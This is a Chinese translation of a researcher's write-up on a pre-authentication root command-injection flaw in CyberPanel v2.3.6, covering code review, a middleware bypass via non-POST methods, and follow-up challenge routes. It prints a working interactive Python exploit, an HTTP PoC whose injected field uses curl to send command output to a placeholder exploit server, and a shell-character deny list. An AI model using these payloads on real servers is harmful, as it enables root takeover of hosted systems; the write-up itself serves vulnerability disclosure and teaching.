【翻译】0day 代码审计 CyberPanel v2.3.6 RCE

2024-11-01 21:29   重庆  

声明:该公众号分享的安全工具和项目均来源于网络,仅供安全研究与学习之用,如用于其他用途,由使用者承担全部法律及连带责任,与工具作者和本公众号无关。


本文为翻译文章,需要阅读原文请访问:https://dreyand.rs/code/review/2024/10/27/what-are-my-options-cyberpanel-v236-pre-auth-rce


引言

2024年10月27日  CodeReview

几个月前,我被分配进行一次针对运行 CyberPanel 的目标的渗透测试。它似乎是由一些 VPS 提供商默认安装的,且还得到了 Freshworks 的赞助。

我最初对如何攻陷目标感到无从下手,因为功能有限,于是我决定另辟蹊径,寻找一个 0day 漏洞 ¯_(ツ)_/¯。

这导致我在最新版本(截至目前为 2.3.6)中发现了一个 0-click 预认证根 RCE 漏洞。它目前仍然“未修补”,因为维护者已被通知,补丁已经完成,但仍在等待 CVE 及修复进入主发布版。截止到 10 月 30 日,两个 CVE 已被分配:

  • CVE-2024-51567

  • CVE-2024-51568

同时,维护者发布了安全公告。

你可以在此链接找到补丁提交:补丁提交

我还对漏洞奖励项目进行了大规模扫描,发现了一些受影响的主机——感谢 iustin 的帮助!

我觉得这篇文章还记录了我在审计各种项目时的思维过程,因此如果你是一个有创造力的初学者,想要开始代码审查,我强烈建议你阅读这篇博客。

代码库结构

这实际上是一个相当简单的 Django Web 应用。它的实际目的是在 VPS 上设置各种系统服务(例如 FTP、SSH、SMTP、IMAP 等)。

当我们进入主页时,我们只看到一个登录功能,所以似乎没有太多可以操作的内容 :/

但这只是冰山一角。

像任何 Django 项目一样,在查看实际项目之前,我们应该先了解框架的工作方式,模式如下:

  • X/urls.py -> 此文件将包含功能 X 的所有 API 路由。

  • X/views.py -> 此文件将包含映射到功能 X 的路由的所有控制器。

  • X/views -> 动态生成页面 HTML 的模板。

  • X/static -> 静态文件和其他东西…

因为这些通常包含身份验证等逻辑,这是我自然开始检查的第一件事。我立刻注意到他们对每个路由逐一进行身份验证检查。

我首先想知道——为什么?你会期望有人使用身份验证中间件或其他方法,而不必自己在每个路由上写身份验证检查。

接下来我想到的是:“如果我是写这样的代码,我肯定会遗漏几个路由的身份验证”——而且,没错,这正是这里发生的事 :)

N-day 漏洞分析

通常当我想更深入了解目标时,我会阅读之前漏洞的写作/利用/文档,这对我了解目标非常有帮助。

我注意到在 2.3.5 版本中发布了以下安全更新:CyberPanel v2-3-5

文件管理器的上传功能中的身份验证绕过:文件管理器上传功能中的一个漏洞,由于人为错误被修正。

“由于人为错误”……这让我想到了。

这让我有了分析这个补丁以深入了解代码库的想法。

让我们看看补丁之前的提交在 filemanager/views.py 中:文件管理器视图:

def upload(request):
   try:
       data = request.POST

       try:
           userID = request.session['userID']
           admin = Administrator.objects.get(pk=userID)
           currentACL = ACLManager.loadedACL(userID)

           if ACLManager.checkOwnership(data['domainName'], admin, currentACL) == 1:
               pass
           else:
               return ACLManager.loadErrorJson()
       except:
           pass

       fm = FM(request, data)
       return fm.upload()

   except KeyError:
       return redirect(loadLoginPage)

仔细看看,我们需要绕过的两个检查是:

  • userID = request.session['userID']

  • admin = Administrator.objects.get(pk=userID)

第一个检查从 Django 的内部会话对象获取用户 ID,第二个则是调用 Django 的 ORM 来获取我们是否是管理员的信息。

令我惊讶的是,这两个操作实际上都会抛出异常,因为第一个操作试图访问一个不存在的键,而第二个的 get() 则是 Django ORM 的默认行为:

如果没有匹配查询的结果,get() 将引发 DoesNotExist 异常。

好吧,我们需要一个未认证的漏洞,所以这两者都将失败,但代码中明显存在逻辑问题,因为 fm.upload()try/except 之外,仍然会工作,哈哈。找到这个漏洞的人真是有眼光!

让我们看看 upload() 方法:

def upload(self):
   try:
       finalData = {}
       finalData['uploadStatus'] = 1
       finalData['answer'] = '文件传输完成。'

       ACLManager.CreateSecureDir()
       UploadPath = '/usr/local/CyberCP/tmp/'

       ## 随机文件名
       RanddomFileName = str(randint(1000, 9999))

       myfile = self.request.FILES['file']
       fs = FileSystemStorage()

       try:
           filename = fs.save(RanddomFileName, myfile)
           finalData['fileName'] = fs.url(filename)
       except BaseException as msg:
           logging.writeToFile('%s. [375:upload]' % (str(msg)))

       domainName = self.data['domainName']
       try:
           pathCheck = '/home/%s' % (self.data['domainName'])
           website = Websites.objects.get(domain=domainName)

           command = 'ls -la %s' % (self.data['completePath'])
           result = ProcessUtilities.outputExecutioner(command, website.externalApp)
           #
           if result.find('->') > -1:
               return self.ajaxPre(0, "符号链接攻击。")

           if ACLManager.commandInjectionCheck(self.data['completePath'] + '/' + myfile.name) == 1:
               return self.ajaxPre(0, '不允许在此路径下移动,请选择主目录中的位置!')

           if (self.data['completePath'] + '/' + myfile.name).find(pathCheck) == -1 or (
                  (self.data['completePath'] + '/' + myfile.name)).find('..') > -1:
               return self.ajaxPre(0, '不允许在此路径下移动,请选择主目录中的位置!')

       ... 不相关的代码 ...

哦,看来我们现在使用子进程读取文件!这对我们来说是个好消息,我想,这个信息值得记下!

你可以猜到这个漏洞的本质:通过 completePath 进行简单的命令注入,通过 ProcessUtilities.outputExecutioner() 函数。

注意:由于我们的 ORM 检查将失败,因此我认为不能通过 domainName 来利用这个漏洞。

我还做了一个快速的 PoC,我不知道这是否是漏洞的新变体,因为在任何地方都没有提到 RCE,但我想这个补丁也是修复了它:

POST /filemanager/upload HTTP/1.1
Host: <目标>
Content-Type: multipart/form-data; boundary=----NewBoundary123456789
Cookie: csrftoken=<CSRF-TOKEN>
X-Csrftoken: <CSRF-TOKEN>
Content-Length: 494
Referer: https://<目标>:8090/

------NewBoundary123456789
Content-Disposition: form-data; name="domainName"

<目标>
------NewBoundary123456789
Content-Disposition: form-data; name="completePath"

; curl -X POST https://<exploit-server> -d "pwn=$(id)"
------NewBoundary123456789
Content-Disposition: form-data; name="file"; filename="poc.txt"

pwn
------NewBoundary123456789--

无论如何,让我们总结一下我们到目前为止获得的知识:

  • 身份验证检查是通过 request.session['userID'] 和 Django 的 ORM 逐路由进行的。

  • 他们喜欢将内容通过子进程传输。

  • 他们喜欢搞乱事物的顺序。

  • 他们喜欢忘记事情。

FYI:许多端点仅通过传递 userID=1 进行交互,允许您未认证地使用它们。希望这能给大家一个提示,如果他们想找更多漏洞 :)

找到 0day

在这一点上,我使用 Semgrep 搜索潜在的有趣代码,立刻发现了一段代码:

def upgrademysqlstatus(request):
   try:
       data = json.loads(request.body)
       statusfile = data['statusfile']
       installStatus = ProcessUtilities.outputExecutioner("sudo cat " + statusfile)

       if installStatus.find("[200]") > -1

:
           command = 'sudo rm -f ' + statusfile
           ProcessUtilities.executioner(command)
           final_json = json.dumps({
               'error_message': "None",
               'requestStatus': installStatus,
               'abort': 1,
               'installed': 1,
          })
           return HttpResponse(final_json)
       elif installStatus.find("[404]") > -1:
           command = 'sudo rm -f ' + statusfile
           ProcessUtilities.executioner(command)
           final_json = json.dumps({
               'abort': 1,
               'installed': 0,
               'error_message': "None",
               'requestStatus': installStatus,
          })
           return HttpResponse(final_json)
       else:
           final_json = json.dumps({
               'abort': 0,
               'error_message': "None",
               'requestStatus': installStatus,
          })
           return HttpResponse(final_json)
   except KeyError:
       return redirect(loadLoginPage)

这段代码显然没有任何身份验证检查,且最近刚被添加。有人肯定是疏忽了,否则不会如此简单。

让我们尝试触发一个 PoC 来验证这一点。

绕过 secMiddleware

代码较长,因此我附上了简化版:

class secMiddleware:
   HIGH = 0
   LOW = 1

   def get_client_ip(request):
       ip = request.META.get('HTTP_CF_CONNECTING_IP')
       if ip is None:
           ip = request.META.get('REMOTE_ADDR')
       return ip

   def __init__(self, get_response):
       self.get_response = get_response

   ...
   if request.method == 'POST':
       try:
           data = json.loads(request.body)
           for key, value in data.items():
               if request.path.find('gitNotify') > -1:
                   break
               if type(value) == str or type(value) == bytes:
                   pass
               elif type(value) == list:
                   for items in value:
                       if items.find('- -') > -1 or items.find('\n') > -1 or items.find(';') > -1 or items.find('&&') > -1 or items.find('|') > -1 or items.find('...') > -1 \
                               or items.find("`") > -1 or items.find("$") > -1 or items.find("(") > -1 or items.find(")") > -1 \
                               or items.find("'") > -1 or items.find("[") > -1 or items.find("]") > -1 or items.find("{") > -1 or items.find("}") > -1 \
                               or items.find(":") > -1 or items.find("<") > -1 or items.find(">") > -1 or items.find("&") > -1:
                           logging.writeToFile(request.body)
                           final_dic = {
                               'error_message': "数据不被接受,输入中不允许以下字符 ` $ & ( ) [ ] { } ; : ‘ < >.",
                               "errorMessage": "数据不被接受,输入中不允许以下字符 ` $ & ( ) [ ] { } ; : ‘ < >."
                          }
                           final_json = json.dumps(final_dic)
                           return HttpResponse(final_json)
               else:
                   continue
   ...

在这一点上,我开始对各种字符和技巧进行模糊测试,以尝试绕过此端点的检查,但没有成功。

所以,我开始逻辑性地思考,发现了一个有趣的绕过方法,这需要一点创造力,而不需要对复杂的 Linux 技巧有深入了解。

注意到,middleware 仅在 POST 请求方法时进行命令注入检查,而我们看到的 upgrademysqlstatus() 路由是通过 json.loads(request.body) 加载 POST 数据的。

根据 Django 文档,body 属性的原始 HTTP 请求体会以字节串的形式返回。这对于处理与常规 HTML 表单不同的数据很有用。

你注意到了吗?这意味着我们可以以OPTIONS/PUT/PATCH 等其他 HTTP 方法发送请求,从而完全绕过安全中间件。

于是,我们可以实现:

(这很有意义,因为这个项目用于管理系统上的所有服务。)

漏洞利用

我写了一个简单的交互式利用脚本,你可以使用,尽情享用!

import httpx 
import sys

def get_CSRF_token(client):
   resp = client.get("/")
   return resp.cookies['csrftoken']
   
def pwn(client, CSRF_token, cmd):
   headers = {
       "X-CSRFToken": CSRF_token,
       "Content-Type": "application/json",
       "Referer": str(client.base_url)
  }
   
   payload = '{"statusfile":"/dev/null; %s; #","csrftoken":"%s"}' % (cmd, CSRF_token)
   
   return client.put("/dataBases/upgrademysqlstatus", headers=headers, data=payload).json()["requestStatus"]
   
def exploit(client, cmd):
   CSRF_token = get_CSRF_token(client)
   stdout = pwn(client, CSRF_token, cmd)
   print(stdout)
   
if __name__ == "__main__":
   target = sys.argv[1]
   
   client = httpx.Client(base_url=target, verify=False)
   while True:
       cmd = input("$> ")
       exploit(client, cmd)

挑战

希望你阅读这篇文章时感到愉快 :)

既然你已经读到了这里,我给你一个挑战,去找出这个代码中的另一个漏洞:

我的朋友发现了这个确切漏洞的另一种变体,你能找到吗?(可以解决)

这更多是如果你想找另一个 0day,请检查 restoreStatus 路由:

def restoreStatus(self, data=None):
   try:
       backupFile = data['backupFile'].strip(".tar.gz")
       path = os.path.join("/home", "backup", data['backupFile'])
       
       if os.path.exists(path):
           path = os.path.join("/home", "backup", backupFile)
       elif os.path.exists(data['backupFile']):
           path = data['backupFile'].strip(".tar.gz")
       else:
           dir = data['dir']
           path = "/home/backup/transfer-" + str(dir) + "/" + backupFile
       
       if os.path.exists(path):
           try:
               execPath = "sudo cat " + path + "/status"
               status = ProcessUtilities.outputExecutioner(execPath)

看起来这里又是一个简单的命令注入案例——问题在于,os.path.exists 需要返回 True,同时路径仍然要包含命令注入的有效负载。我们可能需要一个任意文件创建的 gadget。(是的,我知道 Python 中的 os.path.join 技巧,不,它在这里没有帮助。)

backupStatus 中似乎也存在类似的情况:

def backupStatus(self, userID=None, data=None):
   try:
       backupDomain = data['websiteToBeBacked']
       status = os.path.join("/home", backupDomain, "backup/status")
       backupFileNamePath = os.path.join("/home", backupDomain, "backup/backupFileName")
       pid = os.path.join("/home", backupDomain, "backup/pid")
   
       domain = Websites.objects.get(domain=backupDomain)
   
       ## 读取文件名
       try:
           command = "sudo cat " + backupFileNamePath
           fileName = ProcessUtilities.outputExecutioner(command, domain.externalApp)
           if fileName.find('No such file or directory') > -1:
               final_json = json.dumps({'backupStatus': 0, 'error_message': "None", "status": 0, "abort": 0})
               return HttpResponse(final_json)
       except:

这里唯一的问题是,如果 backupDomain 不存在,我们会遇到 ORM 异常。再次需要一个网站/文件名创建的漏洞。

祝你好运!


安全视安
欢迎关注我的公众号!在这里,我们汇集了三大主题:文学、情感与网络安全。
 最新文章